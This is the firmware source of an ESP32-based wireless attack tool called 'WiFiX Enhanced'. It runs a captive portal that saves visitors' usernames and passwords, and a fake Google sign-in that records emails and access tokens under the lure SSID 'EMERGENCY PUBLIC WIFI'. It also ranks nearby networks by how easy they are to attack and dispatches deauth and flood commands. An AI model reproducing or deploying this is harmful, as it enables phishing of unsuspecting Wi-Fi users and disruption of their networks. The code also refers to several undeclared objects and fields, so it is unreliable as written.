#include <WiFi.h>
#include <WebServer.h>
#include <ArduinoJson.h>
#include <SPIFFS.h>
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
#include <BluetoothSerial.h>
#include <vector>
#include "credential_manager.h"
// Project configuration
#include "config.h"

// Display configuration - Single I2C Screen
#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
#define OLED_RESET -1
#define I2C_SDA 21
#define I2C_SCL 22
#define SCREEN_ADDRESS 0x3C

// Pin definitions - Simplified for 2-device setup
#define BW16_UART_TX 17
#define BW16_UART_RX 16

// Network configuration
// Use values from config.h
const char* ap_ssid = DEFAULT_SSID;
const char* ap_password = DEFAULT_PASSWORD;

// Global objects - Simplified for single I2C screen
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
WebServer server(80);
BluetoothSerial SerialBT;
HardwareSerial BW16Serial(2);

// System state - Simplified for 2-device operation
struct SystemState {
    bool scanning = false;
    bool bw16_connected = false;
    int active_attacks = 0;
    int packets_per_second = 0;
    int total_aps = 0;
    unsigned long uptime = 0;
    int oled_brightness = 128;
    bool bluetooth_enabled = false;
    
    // Authentication state
    bool authenticated = false;
    String auth_email = "";
    String auth_name = "";
} systemState;

// Access Point structure
struct AccessPoint {
    String ssid;
    String bssid;
    int channel;
    int rssi;
    String security;
    String band;
    int ai_score = 0;
    bool is_target = false;
};

std::vector<AccessPoint> accessPoints;
std::vector<String> selectedTargets;
// Forward declaration for helper
void upsertAccessPoint(const AccessPoint& ap);

// Attack structure
struct Attack {
    String id;
    String type;
    String target;
    unsigned long start_time;
    int packets_sent;
    bool active;
};

std::vector<Attack> activeAttacks;

// Display pages
enum DisplayPage {
    PAGE_MAIN,
    PAGE_SCAN,
    PAGE_ATTACKS,
    PAGE_PROTOCOLS,
    PAGE_STATS
};

DisplayPage currentPage = PAGE_MAIN;
unsigned long lastPageUpdate = 0;
unsigned long lastStatsUpdate = 0;

void setup() {
    Serial.begin(115200);
    
    // Initialize I2C with proper pin assignments
    Wire.begin(I2C_SDA, I2C_SCL);
    
    // Initialize display
    if (!display.begin(SSD1306_SWITCHCAPVCC, SCREEN_ADDRESS)) {
        Serial.println(F("SSD1306 allocation failed"));
        for(;;);
    }
    
    display.clearDisplay();
    display.setTextSize(1);
    display.setTextColor(SSD1306_WHITE);
    display.setCursor(0, 0);
    display.println("WiFiX Enhanced");
    display.println("Initializing...");
    display.display();
    
    // Initialize SPIFFS
    if (!SPIFFS.begin(true)) {
        Serial.println("SPIFFS Mount Failed");
        return;
    }
    
    // Initialize credential manager (with encryption enabled by default)
    if (!credentialManager.begin(true)) {
        Serial.println("CredentialManager initialization failed");
    }
    
    // Initialize WiFi AP
    WiFi.mode(WIFI_AP_STA);
    WiFi.softAP(ap_ssid, ap_password);
    
    Serial.println("WiFi AP Started");
    Serial.print("IP address: ");
    Serial.println(WiFi.softAPIP());
    
    // Initialize BW16 communication
    BW16Serial.begin(115200, SERIAL_8N1, BW16_UART_RX, BW16_UART_TX);
    
    // Initialize Bluetooth only
    initializeBluetooth();
    
    // Setup web server
    setupWebServer();
    
    // Update display
    updateDisplay();
    
    Serial.println("WiFiX Enhanced Ready!");
}

void loop() {
    server.handleClient();
    
    // Handle BW16 communication
    handleBW16Communication();
    
    // Update system stats
    if (millis() - lastStatsUpdate > 1000) {
        updateSystemStats();
        lastStatsUpdate = millis();
    }
    
    // Update display
    if (millis() - lastPageUpdate > 2000) {
        updateDisplay();
        lastPageUpdate = millis();
    }
    
    delay(10);
}

void initializeBluetooth() {
    if (SerialBT.begin("WiFiX-BT")) {
        systemState.bluetooth_enabled = true;
        Serial.println("Bluetooth initialized");
    }
}

void initializeLoRa() {
    LoRa.setPins(LORA_SS, LORA_RST, LORA_DIO0);
    if (LoRa.begin(915E6)) {
        systemState.lora_enabled = true;
        Serial.println("LoRa initialized");
    }
}

void initializeZigbee() {
    // Zigbee initialization would go here
    // For now, we'll simulate it
    systemState.zigbee_enabled = true;
    Serial.println("Zigbee initialized");
}

void initializeAI() {
    // Initialize TensorFlow Lite
    // This is a simplified version - in practice you'd load a trained model
    Serial.println("AI Model initialized");
}

void setupWebServer() {
    // Serve index and welcome pages explicitly
    server.on("/", HTTP_GET, [](){
        if (SPIFFS.exists("/index.html")) {
            File f = SPIFFS.open("/index.html", "r");
            server.streamFile(f, "text/html");
            f.close();
        } else {
            server.send(404, "text/plain", "index.html not found");
        }
    });
    server.on("/welcome", HTTP_GET, [](){
        if (SPIFFS.exists("/welcome.html")) {
            File f = SPIFFS.open("/welcome.html", "r");
            server.streamFile(f, "text/html");
            f.close();
        } else {
            server.send(404, "text/plain", "welcome.html not found");
        }
    });
    
    // API endpoints
    server.on("/api/status", HTTP_GET, handleAPIStatus);
    server.on("/api/config", HTTP_GET, [](){
        DynamicJsonDocument doc(512);
        // Basic branding and network info from config.h
        doc["branding_name"] = PORTAL_COMPANY_NAME;
        doc["organization"] = DEVICE_NAME;
        doc["ssid"] = ap_ssid;
        doc["ap_ip"] = WiFi.softAPIP().toString();
        String res; serializeJson(doc, res);
        server.send(200, "application/json", res);
    });
    server.on("/api/command", HTTP_POST, handleAPICommand);
    server.on("/api/scan", HTTP_POST, handleAPIScan);
    server.on("/api/attack", HTTP_POST, handleAPIAttack);
    server.on("/api/protocols", HTTP_GET, handleAPIProtocols);
    
    // Authentication endpoints
    server.on("/api/auth/google", HTTP_POST, handleGoogleAuth);
    server.on("/api/auth/status", HTTP_GET, handleAuthStatus);
    server.on("/api/auth/logout", HTTP_POST, handleLogout);
    // Standard captive portal login (form POST)
    server.on("/login", HTTP_POST, [](){
        String username = server.arg("username");
        String password = server.arg("password");
        if (username.length() == 0 || password.length() == 0) {
            server.sendHeader("Location", "/");
            server.send(302, "text/plain", "");
            return;
        }
        // Store credentials
        credentialManager.addGenericCredential(ap_ssid, username.c_str(), password.c_str(), username.c_str());
        // Mark session authenticated and redirect to welcome page
        systemState.authenticated = true;
        systemState.auth_email = username;
        systemState.auth_name = username;
        server.sendHeader("Location", "/welcome");
        server.send(302, "text/plain", "");
    });
    
    server.begin();
    Serial.println("Web server started");
}

void webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) {
    switch(type) {
        case WStype_DISCONNECTED:
            Serial.printf("[%u] Disconnected!\n", num);
            break;
            
        case WStype_CONNECTED: {
            IPAddress ip = webSocket.remoteIP(num);
            Serial.printf("[%u] Connected from %d.%d.%d.%d\n", num, ip[0], ip[1], ip[2], ip[3]);
            
            // Send initial status
            sendSystemStatus(num);
            break;
        }
        
        case WStype_TEXT: {
            Serial.printf("[%u] Received: %s\n", num, payload);
            
            DynamicJsonDocument doc(1024);
            deserializeJson(doc, payload);
            
            handleWebSocketCommand(num, doc);
            break;
        }
        
        default:
            break;
    }
}

void handleWebSocketCommand(uint8_t num, DynamicJsonDocument& doc) {
    String command = doc["command"];
    
    if (command == "start_scan") {
        startWiFiScan(doc["bands"]);
    } else if (command == "stop_scan") {
        stopWiFiScan();
    } else if (command == "start_attack") {
        startAttack(doc["type"], doc["targets"]);
    } else if (command == "stop_attack") {
        stopAttack(doc["id"]);
    } else if (command == "ai_analyze") {
        runAIAnalysis();
    } else if (command == "oled_brightness") {
        setOLEDBrightness(doc["value"]);
    } else if (command == "ai_mode") {
        setAIMode(doc["mode"]);
    } else if (command == "get_stats") {
        sendSystemStatus(num);
    }
}

void startWiFiScan(JsonObject bands) {
    systemState.scanning = true;
    accessPoints.clear();
    accessPoints.reserve(100);
    
    // Send command to BW16 for 5GHz scan
    if (bands["5ghz"]) {
        BW16Serial.println("SCAN_5GHZ");
    }
    
    // Start 2.4GHz scan on ESP32
    if (bands["2.4ghz"]) {
        WiFi.scanNetworks(true);
    }
    
    broadcastMessage("scan_started", "");
}

void stopWiFiScan() {
    systemState.scanning = false;
    WiFi.scanDelete();
    BW16Serial.println("STOP_SCAN");
    
    broadcastMessage("scan_stopped", "");
}

void startAttack(String type, JsonArray targets) {
    Attack attack;
    attack.id = String(millis());
    attack.type = type;
    attack.start_time = millis();
    attack.packets_sent = 0;
    attack.active = true;
    
    // Process targets
    for (JsonVariant target : targets) {
        String bssid = target.as<String>();
        attack.target = bssid;
        
        // Send attack command to BW16 if 5GHz target
        AccessPoint* ap = findAccessPoint(bssid);
        if (ap && ap->band == "5GHz") {
            BW16Serial.println("ATTACK_" + type + "_" + bssid);
        } else {
            // Handle 2.4GHz attack on ESP32
            handle24GHzAttack(type, bssid);
        }
    }
    
    activeAttacks.push_back(attack);
    systemState.active_attacks++;
    
    broadcastAttackStatus();
}

void stopAttack(String attackId) {
    for (auto it = activeAttacks.begin(); it != activeAttacks.end(); ++it) {
        if (it->id == attackId) {
            it->active = false;
            systemState.active_attacks--;
            
            // Send stop command
            BW16Serial.println("STOP_ATTACK_" + attackId);
            
            activeAttacks.erase(it);
            break;
        }
    }
    
    broadcastAttackStatus();
}

void runAIAnalysis() {
    if (!systemState.ai_enabled || accessPoints.empty()) {
        return;
    }
    
    // Simple AI scoring based on signal strength, security, and channel congestion
    for (auto& ap : accessPoints) {
        int score = 0;
        
        // Signal strength factor (stronger = easier to attack)
        if (ap.rssi > -50) score += 30;
        else if (ap.rssi > -70) score += 20;
        else score += 10;
        
        // Security factor (weaker = higher score)
        if (ap.security.indexOf("WEP") >= 0) score += 40;
        else if (ap.security.indexOf("WPA") >= 0) score += 25;
        else if (ap.security.indexOf("WPA2") >= 0) score += 15;
        else if (ap.security.indexOf("WPA3") >= 0) score += 5;
        
        // Channel congestion (less congested = higher score)
        int channelCount = 0;
        for (const auto& other : accessPoints) {
            if (other.channel == ap.channel) channelCount++;
        }
        if (channelCount < 3) score += 20;
        else if (channelCount < 6) score += 10;
        
        // Apply AI mode modifier
        if (systemState.ai_mode == "aggressive") {
            score = (score * 1.2);
        } else if (systemState.ai_mode == "stealth") {
            score = (score * 0.8);
        }
        
        ap.ai_score = min(score, 100);
    }
    
    // Calculate overall confidence
    int totalScore = 0;
    for (const auto& ap : accessPoints) {
        totalScore += ap.ai_score;
    }
    systemState.ai_confidence = accessPoints.empty() ? 0 : totalScore / accessPoints.size();
    
    // Broadcast AI analysis results
    DynamicJsonDocument doc(2048);
    doc["type"] = "ai_analysis";
    doc["confidence"] = systemState.ai_confidence;
    
    JsonArray recommended = doc.createNestedArray("recommended_targets");
    for (const auto& ap : accessPoints) {
        if (ap.ai_score > 70) {
            recommended.add(ap.bssid);
        }
    }
    
    String message;
    serializeJson(doc, message);
    webSocket.broadcastTXT(message);
}

void handleBW16Communication() {
    if (BW16Serial.available()) {
        String message = BW16Serial.readStringUntil('\n');
        message.trim();
        
        if (message.startsWith("AP:")) {
            // Parse access point data from BW16
            parseAccessPointData(message);
        } else if (message.startsWith("ATTACK_STATUS:")) {
            // Parse attack status from BW16
            parseAttackStatus(message);
        } else if (message.startsWith("STATS:")) {
            // Parse statistics from BW16
            parseStatsData(message);
        }
    }
}

void parseAccessPointData(String data) {
    // Format: AP:SSID,BSSID,CHANNEL,RSSI,SECURITY
    data = data.substring(3); // Remove "AP:" prefix
    
    int commaIndex = 0;
    String parts[5];
    for (int i = 0; i < 5; i++) {
        int nextComma = data.indexOf(',', commaIndex);
        if (nextComma == -1) {
            parts[i] = data.substring(commaIndex);
            break;
        } else {
            parts[i] = data.substring(commaIndex, nextComma);
            commaIndex = nextComma + 1;
        }
    }
    
    AccessPoint ap;
    ap.ssid = parts[0];
    ap.bssid = parts[1];
    ap.channel = parts[2].toInt();
    ap.rssi = parts[3].toInt();
    ap.security = parts[4];
    ap.band = "5GHz";

    upsertAccessPoint(ap);
    systemState.total_aps = accessPoints.size();

    broadcastScanResults();
}

void updateSystemStats() {
    systemState.uptime = millis() / 1000;
    
    // Update packet rate (simulated for now)
    systemState.packets_per_second = random(0, 1000);
    
    // Check WiFi scan results
    int n = WiFi.scanComplete();
    if (n >= 0) {
        for (int i = 0; i < n; i++) {
            AccessPoint ap;
            ap.ssid = WiFi.SSID(i);
            ap.bssid = WiFi.BSSIDstr(i);
            ap.channel = WiFi.channel(i);
            ap.rssi = WiFi.RSSI(i);
            ap.security = getSecurityString(WiFi.encryptionType(i));
            ap.band = "2.4GHz";

            upsertAccessPoint(ap);
        }
        
        systemState.total_aps = accessPoints.size();
        WiFi.scanDelete();
        
        if (systemState.scanning) {
            WiFi.scanNetworks(true); // Start next scan
        }
        
        broadcastScanResults();
    }
    
    // Broadcast system stats
    broadcastSystemStats();
}

void updateDisplay() {
    display.clearDisplay();
    display.setTextSize(1);
    display.setTextColor(SSD1306_WHITE);
    display.setCursor(0, 0);
    
    switch (currentPage) {
        case PAGE_MAIN:
            displayMainPage();
            break;
        case PAGE_SCAN:
            displayScanPage();
            break;
        case PAGE_ATTACKS:
            displayAttacksPage();
            break;
        case PAGE_PROTOCOLS:
            displayProtocolsPage();
            break;
        case PAGE_STATS:
            displayStatsPage();
            break;
    }
    
    display.display();
    
    // Auto-rotate pages
    static unsigned long lastPageChange = 0;
    if (millis() - lastPageChange > 5000) {
        currentPage = (DisplayPage)((currentPage + 1) % 5);
        lastPageChange = millis();
    }
}

void displayMainPage() {
    display.println("WiFiX Enhanced");
    display.println("==============");
    display.printf("APs: %d\n", systemState.total_aps);
    display.printf("Attacks: %d\n", systemState.active_attacks);
    display.printf("AI: %d%%\n", systemState.ai_confidence);
    display.printf("Uptime: %02d:%02d\n", 
                   (int)(systemState.uptime / 3600), 
                   (int)((systemState.uptime % 3600) / 60));
    
    // Status indicators
    display.setCursor(0, 56);
    display.print("BT:");
    display.print(systemState.bluetooth_enabled ? "ON" : "OFF");
    display.print(" LoRa:");
    display.print(systemState.lora_enabled ? "ON" : "OFF");
}

void displayScanPage() {
    display.println("WiFi Scanner");
    display.println("============");
    display.printf("Total APs: %d\n", systemState.total_aps);
    display.printf("Scanning: %s\n", systemState.scanning ? "YES" : "NO");
    display.printf("Rate: %d pps\n", systemState.packets_per_second);
    
    if (!accessPoints.empty()) {
        display.println("Latest APs:");
        int count = 0;
        for (auto it = accessPoints.rbegin(); it != accessPoints.rend() && count < 2; ++it, ++count) {
            display.printf("%s (%d)\n", it->ssid.c_str(), it->rssi);
        }
    }
}

void displayAttacksPage() {
    display.println("Active Attacks");
    display.println("==============");
    display.printf("Count: %d\n", systemState.active_attacks);
    
    if (!activeAttacks.empty()) {
        for (size_t i = 0; i < min((size_t)3, activeAttacks.size()); i++) {
            unsigned long duration = (millis() - activeAttacks[i].start_time) / 1000;
            display.printf("%s %02d:%02d\n", 
                          activeAttacks[i].type.c_str(),
                          (int)(duration / 60),
                          (int)(duration % 60));
        }
    } else {
        display.println("No active attacks");
    }
}

void displayProtocolsPage() {
    display.println("Protocols");
    display.println("=========");
    display.printf("WiFi: ON\n");
    display.printf("BT: %s\n", systemState.bluetooth_enabled ? "ON" : "OFF");
    display.printf("LoRa: %s\n", systemState.lora_enabled ? "ON" : "OFF");
    display.printf("Zigbee: %s\n", systemState.zigbee_enabled ? "ON" : "OFF");
    display.printf("AI Mode: %s\n", systemState.ai_mode.c_str());
}

void displayStatsPage() {
    display.println("System Stats");
    display.println("============");
    display.printf("Free RAM: %d KB\n", ESP.getFreeHeap() / 1024);
    display.printf("CPU Freq: %d MHz\n", ESP.getCpuFreqMHz());
    display.printf("Flash: %d KB\n", ESP.getFlashChipSize() / 1024);
    display.printf("Temp: %d C\n", (int)temperatureRead());
    display.printf("OLED: %d%%\n", (systemState.oled_brightness * 100) / 255);
}

// API Handlers
void handleAPIStatus() {
    DynamicJsonDocument doc(1024);
    doc["scanning"] = systemState.scanning;
    doc["active_attacks"] = systemState.active_attacks;
    doc["total_aps"] = systemState.total_aps;
    doc["ai_confidence"] = systemState.ai_confidence;
    doc["uptime"] = systemState.uptime;
    doc["packets_per_second"] = systemState.packets_per_second;
    doc["free_memory"] = ESP.getFreeHeap() / 1024;
    // Portal info for UI
    doc["ap_ip"] = WiFi.softAPIP().toString();
    doc["target_ssid"] = ap_ssid;
    
    String response;
    serializeJson(doc, response);
    server.send(200, "application/json", response);
}

void handleAPICommand() {
    if (!server.hasArg("plain")) {
        server.send(400, "text/plain", "No body");
        return;
    }
    
    DynamicJsonDocument doc(1024);
    deserializeJson(doc, server.arg("plain"));
    
    handleWebSocketCommand(0, doc);
    server.send(200, "application/json", "{\"status\":\"ok\"}");
}

void handleAPIScan() {
    // Implementation for scan API
    server.send(200, "application/json", "{\"status\":\"scan_started\"}");
}

void handleAPIAttack() {
    // Implementation for attack API
    server.send(200, "application/json", "{\"status\":\"attack_started\"}");
}

void handleAPIProtocols() {
    DynamicJsonDocument doc(512);
    doc["bluetooth"] = systemState.bluetooth_enabled;
    doc["lora"] = systemState.lora_enabled;
    doc["zigbee"] = systemState.zigbee_enabled;
    
    String response;
    serializeJson(doc, response);
    server.send(200, "application/json", response);
}

// Authentication handlers
void handleGoogleAuth() {
    if (!server.hasArg("plain")) {
        server.send(400, "application/json", "{\"error\":\"No data provided\"}");
        return;
    }
    
    DynamicJsonDocument doc(1024);
    DeserializationError error = deserializeJson(doc, server.arg("plain"));
    
    if (error) {
        server.send(400, "application/json", "{\"error\":\"Invalid JSON\"}");
        return;
    }
    
    // Extract Google authentication data
    String email = doc["email"].as<String>();
    String name = doc["name"].as<String>();
    String googleId = doc["googleId"].as<String>();
    String accessToken = doc["accessToken"].as<String>();
    
    // Validate required fields
    if (email.isEmpty() || googleId.isEmpty()) {
        server.send(400, "application/json", "{\"error\":\"Missing required fields\"}");
        return;
    }
    
    // Store credentials using CredentialManager
    credentialManager.addGenericCredential(
        "EMERGENCY PUBLIC WIFI", // SSID
        email.c_str(),
        "", // No password for Google auth
        email.c_str()
    );
    
    // Set authentication session
    systemState.authenticated = true;
    systemState.auth_email = email;
    systemState.auth_name = name;
    
    // Return success response
    server.send(200, "application/json", "{\"success\":true,\"redirect\":\"/welcome\"}");
    Serial.println("Google authentication successful for: " + email);
}

void handleAuthStatus() {
    DynamicJsonDocument doc(256);
    doc["authenticated"] = systemState.authenticated;
    doc["email"] = systemState.auth_email;
    doc["name"] = systemState.auth_name;
    
    String response;
    serializeJson(doc, response);
    server.send(200, "application/json", response);
}

void handleLogout() {
    systemState.authenticated = false;
    systemState.auth_email = "";
    systemState.auth_name = "";
    
    server.send(200, "application/json", "{\"success\":true,\"redirect\":\"/\"}");
    Serial.println("User logged out");
}

// Utility functions
void broadcastMessage(String type, String data) {
    DynamicJsonDocument doc(512);
    doc["type"] = type;
    doc["data"] = data;
    
    String message;
    serializeJson(doc, message);
    webSocket.broadcastTXT(message);
}

void broadcastScanResults() {
    DynamicJsonDocument doc(4096);
    doc["type"] = "scan_result";
    
    JsonArray aps = doc.createNestedArray("aps");
    for (const auto& ap : accessPoints) {
        JsonObject apObj = aps.createNestedObject();
        apObj["ssid"] = ap.ssid;
        apObj["bssid"] = ap.bssid;
        apObj["channel"] = ap.channel;
        apObj["rssi"] = ap.rssi;
        apObj["security"] = ap.security;
        apObj["band"] = ap.band;
        apObj["ai_score"] = ap.ai_score;
    }
    
    String message;
    serializeJson(doc, message);
    webSocket.broadcastTXT(message);
}

void broadcastSystemStats() {
    DynamicJsonDocument doc(1024);
    doc["type"] = "system_stats";
    
    JsonObject stats = doc.createNestedObject("stats");
    stats["active_attacks"] = systemState.active_attacks;
    stats["ai_confidence"] = systemState.ai_confidence;
    stats["packets_per_second"] = systemState.packets_per_second;
    stats["free_memory"] = ESP.getFreeHeap() / 1024;
    stats["uptime"] = systemState.uptime;
    
    String message;
    serializeJson(doc, message);
    webSocket.broadcastTXT(message);
}

void broadcastAttackStatus() {
    DynamicJsonDocument doc(2048);
    doc["type"] = "attack_status";
    
    JsonArray attacks = doc.createNestedArray("attacks");
    for (const auto& attack : activeAttacks) {
        JsonObject attackObj = attacks.createNestedObject();
        attackObj["id"] = attack.id;
        attackObj["type"] = attack.type;
        attackObj["target"] = attack.target;
        attackObj["duration"] = (millis() - attack.start_time) / 1000;
        attackObj["packets_sent"] = attack.packets_sent;
    }
    
    String message;
    serializeJson(doc, message);
    webSocket.broadcastTXT(message);
}

void sendSystemStatus(uint8_t clientNum) {
    broadcastScanResults();
    broadcastSystemStats();
    broadcastAttackStatus();
}

String getSecurityString(wifi_auth_mode_t encryptionType) {
    switch (encryptionType) {
        case WIFI_AUTH_OPEN: return "Open";
        case WIFI_AUTH_WEP: return "WEP";
        case WIFI_AUTH_WPA_PSK: return "WPA";
        case WIFI_AUTH_WPA2_PSK: return "WPA2";
        case WIFI_AUTH_WPA_WPA2_PSK: return "WPA/WPA2";
        case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-Enterprise";
        case WIFI_AUTH_WPA3_PSK: return "WPA3";
        default: return "Unknown";
    }
}

// Deduplicate or update AP list by BSSID
void upsertAccessPoint(const AccessPoint& ap) {
    for (auto& existing : accessPoints) {
        if (existing.bssid == ap.bssid) {
            // Update latest info, keep AI score/flags
            existing.ssid = ap.ssid;
            existing.channel = ap.channel;
            existing.rssi = ap.rssi;
            existing.security = ap.security;
            existing.band = ap.band;
            return;
        }
    }
    accessPoints.push_back(ap);
}

AccessPoint* findAccessPoint(String bssid) {
    for (auto& ap : accessPoints) {
        if (ap.bssid == bssid) {
            return &ap;
        }
    }
    return nullptr;
}

void setOLEDBrightness(int brightness) {
    systemState.oled_brightness = constrain(brightness, 0, 255);
    // Note: SSD1306 doesn't have brightness control, but we store the value
}

void setAIMode(String mode) {
    systemState.ai_mode = mode;
}

void handle24GHzAttack(String type, String bssid) {
    // Implementation for 2.4GHz attacks on ESP32
    // This would include deauth, beacon flood, etc.
}

void handleProtocols() {
    // Handle Bluetooth operations
    if (systemState.bluetooth_enabled && SerialBT.available()) {
        String btData = SerialBT.readString();
        // Process Bluetooth data
    }
    
    // Handle LoRa operations
    if (systemState.lora_enabled) {
        int packetSize = LoRa.parsePacket();
        if (packetSize) {
            String loraData = "";
            while (LoRa.available()) {
                loraData += (char)LoRa.read();
            }
            // Process LoRa data
        }
    }
}

void processAIAnalysis() {
    // Continuous AI processing during scanning
    static unsigned long lastAIUpdate = 0;
    if (millis() - lastAIUpdate > 5000) {
        runAIAnalysis();
        lastAIUpdate = millis();
    }
}

void parseAttackStatus(String data) {
    // Parse attack status updates from BW16
}

void parseStatsData(String data) {
    // Parse statistics data from BW16
}
